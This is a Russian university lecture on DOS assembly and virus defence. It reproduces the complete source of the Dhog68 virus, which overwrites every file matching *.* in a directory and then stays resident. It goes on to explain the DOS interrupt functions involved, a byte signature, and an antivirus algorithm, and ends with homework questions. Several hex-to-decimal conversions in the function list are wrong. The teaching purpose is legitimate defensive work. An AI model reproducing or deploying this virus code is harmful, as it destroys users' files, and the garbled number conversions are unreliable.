ЛЕКЦИЯ 13.

На прошлой лекции Вам якобы удалось рассмотреть то, что называется ВИРУСОМ, точнее то, что было представлено исходным текстом на языке записи алгоритмов ассемблер, и то, что в результате трансляции, линковки и загрузки в оперативную память ПРЕВРАЩАЕТСЯ в памяти в программу – в совокупность команд (инструкций), которая может быть расшифрована самой ЭВМ и выполнена ею без постороннего вмешательства.

Вопросы: 1. Сколько функций 21h прерывания было использовано в вирусе Dhog68.

2. Перечислить, используя 10-ую систему счисления, все НОМЕРА функций, использованных в тексте вируса.

Исходный текст получился таким:

**seg000 segment byte public 'CODE'**

**assume cs:seg000**

**org 100h**

**assume es:nothing, ss:nothing, ds:seg000**

**public start**

**start proc near**

**mov ah,4Eh**

**mov dx,140h**

**int 21h**

**loc\_0\_107:**

**mov ah,43h**

**mov al,0**

**mov dx,9Eh**

**int 21h**

**mov ah,43h**

**mov al,1**

**mov dx,9Eh**

**mov cl,0**

**int 21h**

**mov ax,3D01h**

**mov dx,9Eh**

**int 21h**

**xchg ax,bx**

**mov ah,40h**

**mov cl,44h**

**nop**

**nop**

**mov dx,100h**

**int 21h**

**mov ah,3Eh**

**int 21h**

**mov ah,4Fh**

**int 21h**

**jnb loc\_0\_107**

**mov ah,31h**

**mov dx,7530h**

**int 21h**

**start endp**

**a\_MaskForVir db '\*.\*',0**

**seg000 ends**

**end start**

**При этом были использованы функции 21h прерывания:**

1. ***4eH: Найти 1-й совпадающий по маске файл***

***= 60 в 10 с.с. = 77 в 10 с.с.***

***Вход***

* ***AH = 4EH***
* ***DS:DX = адрес строки ASCIIZ с именем файла (допускаются ? и \*)***
* ***CX = атрибут файла для сравнения***

**Выход**

* **AX = код ошибки если CF установлен**
* **DTA = заполнена данными (если не было ошибки)**

При этом В ОБЛАСТЬ ПАМЯТИ DTA попадает ИНФОРМАЦИЯ О ПЕРВОМ НАЙДЕННОМ В ПАПКЕ ФАЙЛЕ, причём эта область памяти DTA находится в области памяти PSP и содержит такую информацию:

* 1. Атрибуты файла
  2. Время создания
  3. Дата создания
  4. Размер файла в байтах
  5. Сокращенное имя файла.
* ***2. Функц***[***ия 43H: установить/опросить атрибут файла***](http://www.codenet.ru/progr/dos/dos_0070.php)
* ***43H = 46 в 10 с.с. или 67 в 10 с.с.***

***Вход***

* ***AH = 43H***
* ***DS:DX = адрес строки ASCIIZ с именем файла***
* ***AL = код подфункции: 0 = извлечь текущий атрибут файла***
* ***AL = 1 = установить атрибут файла***
* ***CX = новый атрибут файла (для подфункции 01H)***

***Выход***

* ***AX = код ошибки если CF установлен***
* ***CX = текущий атрибут файла (для подфункции 00H)***
* ***3.*** [***Функция 3dH: задать handle файла***](http://www.codenet.ru/progr/dos/dos_0064.php)

***= 62 в 10 с.с. или 52 в 10 с.с.***

Вход

* AH = 3dH
* DS:DX = адрес строки ASCIIZ с именем файла
* AL = режим открытия

Выход

* AX = код ошибки если CF установлен и handle, файла если нет ошибки.

Описание:

DS:DX указывает на строку ASCIIZ в формате: "d:\путь\имяфайла",0. Если диск и/или путь опущены, они принимаются по умолчанию.

* Файл должен существовать.
* Файл открывается в выбранном режиме доступа:
  + AL = 0 чтобы открыть для чтения
  + AL = 1 чтобы открыть для записи
  + AL = 2 чтобы открыть для чтения и записи
* Маркер текущей позиции файла чтения/записи устанавливается в 0.
* Handle должен быть сохранен для последующих операций
* CONFIG.SYS специфицирует число доступных Handle файлов.

***4. ФУНКЦИЯ 40h***

***40H: писать в файл с использованием Handle.***

Вход

* AH = 40H
* BX = описатель файла
* DS:DX = адрес буфера, содержащего записываемые данные
* CX = число записываемых байт

Выход

* AX = код ошибки если CF установлен
* AL = число реально записанных байт
  1. [***Функция 3eH:***](http://www.codenet.ru/progr/dos/dos_0065.php)

***3eH: Забыть про Handle. = 63 в 10 с.с. = или 53 в 10 с.с.***

Вход

* AH = 3eH
* BX = описатель файла

Выход

* AX = код ошибки если CF установлен

***6.*** [***Функция 4fH: Найти следующий совпадающий файл***](http://www.codenet.ru/progr/dos/dos_0082.php)

DOS Fn 4fH: Найти следующий совпадающий файл

Вход

* AH = 4fH
* DS:DX = адрес данных, возвращенных предыдущей 4eH Найти 1-й файл

Выход

* AX = код ошибки если CF установлен
* DTA = заполнена данными

Описание:

DS:DX указывает на 2bH-байтовый буфер с информацией, возвращенной функцией 4eH Найти 1-й (либо DTA, либо буфер, скопированный из DTA).

***7.***[***Функция 31H: завершиться и остаться резидентным***](http://www.codenet.ru/progr/dos/dos_0052.php)

31H: завершиться и остаться резидентным = 49 в 10 с.с.

Вход

* AH = 31H
* AL = код выхода
* DX = объем памяти, оставляемой резидентной, в параграфах

Выход

* нет = (неприменим)

После того, как пример вируса представлен, возникает вопрос, что с этим вирусом делать. Очевидно, что необходимо как-то научиться определять, что исполнимый модуль, хранящийся на внешнем устройстве, представляет собой «нехорошее изделие» - «нехороший исполнимый модуль» и изничтожать-обезвреживать эти «BadWare».

**На стр 258 – 262 книги про Ассемблер в задачах защиты информации представлен пример антиDhog68 программы на языке записи алгоритмов ассемблер.**

**Замечание. Чаще всего антивирусные программные средства пытаются при поиске и обезвреживании вирусов НАЙТИ ТАК НАЗЫВАЕМЫЕ СИГНАТУРЫ вирусов. Где под СИГНАТУРОЙ следует понимать СТРОГО ОПРЕДЕЛЁННУЮ ПОСЛЕДОВАТЕЛЬНОСТЬ машинных команд, представляющих собой в совокупности угрозу для файлов, хранящихся на внешних устройствах. Например, для вируса DHog68 такой последовательностью команд является совокупность байтов, которая может быть в памяти в 16-ричном виде представлена следующим образом (побайтно):**

**Cd 21 b4 43 b0 01 ba 9e 00 b1 00 cd 21 b8.**

**Вопрос 3: для ответа на почту Zubovich@mail.ru :**

**Записать на языке записи алгоритмов ассемблер совокупность команд, чьё 16-ричное представление приведено выше в качестве сигнатуры для определения вируса Dhog68/**

К настоящему времени опытным путём установлено, что наиболее опасными в контексте вирусологии являются цепочки команд (сигнатуры), которые включают в себя в различных комбинациях такие группы команд как:

* 1. Получить атрибуты файла
  2. Сбросить атрибуты файла
  3. Осуществить доступ к файлу
  4. Оставить программу резидентной
  5. Защититься от воздействия отладчика
  6. Запись в файл последовательности команд, которые не соответствует функционалу решаемой задачи.
  7. Получить доступ к реестру файлов.
  8. Изменить данные в системных файлах.

Переходим непосредственно **к антивирусу DHog68**. Алгоритм:

1. Найти в текущем файле первый, совпадающий по маске файл.
2. Осуществить сравнение содержимого файла на наличие в этом файле ЦЕПОЧКИ КОМАНД, представляющую СОБОЙ СИГНАТУРУ ВИРУСА.
3. Если цепочка не найдена, то найти следующий совпадающий по маске файл в текущем каталоге и осуществить Шаг 2.
4. Если цепочка найдена, то необходимо:
   1. Сбросить атрибуты файла
   2. Получить Handle для файла
   3. Открыть файл для записи
   4. Поместить в самое начало файла машинную команду Int 20h
   5. Закрыть файл.
   6. Найти следующий совпадающий по маске файл и перейти к Шагу 2, если такой файл найден.

В процессе записи алгоритма на языке записи алгоритмов ассемблер, воспользуемся аппаратом под названием «Макроопределения, макрокоманды, макрорасширения».

Например, запишем МАКРООПРЕДЕЛЕНИЕ установки в требуемую позицию (FPos) маркера текущего байта в файле, определяемого имеющимся в наличии Handle (F\_Handle).

**MoveFPos macro F\_Handle, FPos**

**mov ax,4200h**

**mov bx,F\_Handle**

**xor cx,cx**

**mov dx,FPos**

**int 21h**

**endm**

**ФУНКЦИЯ** 42H: установить указатель файла

Вход

* AH = 42H
* BX = описатель файла
* CX:DX = на сколько передвинуть указатель: (CX \* 65536) + DX
* AL = 0 переместить к началу файла + CX:DX
* AL = 1 переместить к текущей позиции + CX:DX
* AL = 2 переместить к концу файла + CX:DX

Выход

* AX = код ошибки если CF установлен
* DX:AX = новая позиция указателя файла (если нет ошибки)

Описание:

перемещает логический указатель чтения/записи к нужному адресу. Очередная операция чтения или записи начнется с этого адреса.

Замечение:

Вызов с AL=2, CX=0, DX=0 возвращает длину файла в DX:AX. DX здесь старшее значащее слово: действительная длина (DX \* 65536) + AX.

**Вопрос 4, перетекающий в домашнее задание (но в конце Лекции прислать на почту описание, на какой стадии находится поиск ответа на данный вопрос). В лабораторной работе №5, вероятнее всего, необходимо будет РАЗРАБОТАТЬ ПРОГРАММУ – АНТИСПАЙ, которая в заданном каталоге ищет в файлах цепочку команд, которая может быть signature именно этого шпиона. Проштудировать внимательно свинью-спая и ВЫДЕЛИТЬ signature, характерную для него, учитывая то, что Вы прочитали в Лекции 13.ВЫДЕЛИТЬ – означает прислать мне на почту описание signature в шестнадцатеричной системе счисления и соответствующий текст на языке записи алгоритмов ассемблер. Домашнее задание – ДО 6 декабря 2021 года до 23:59.**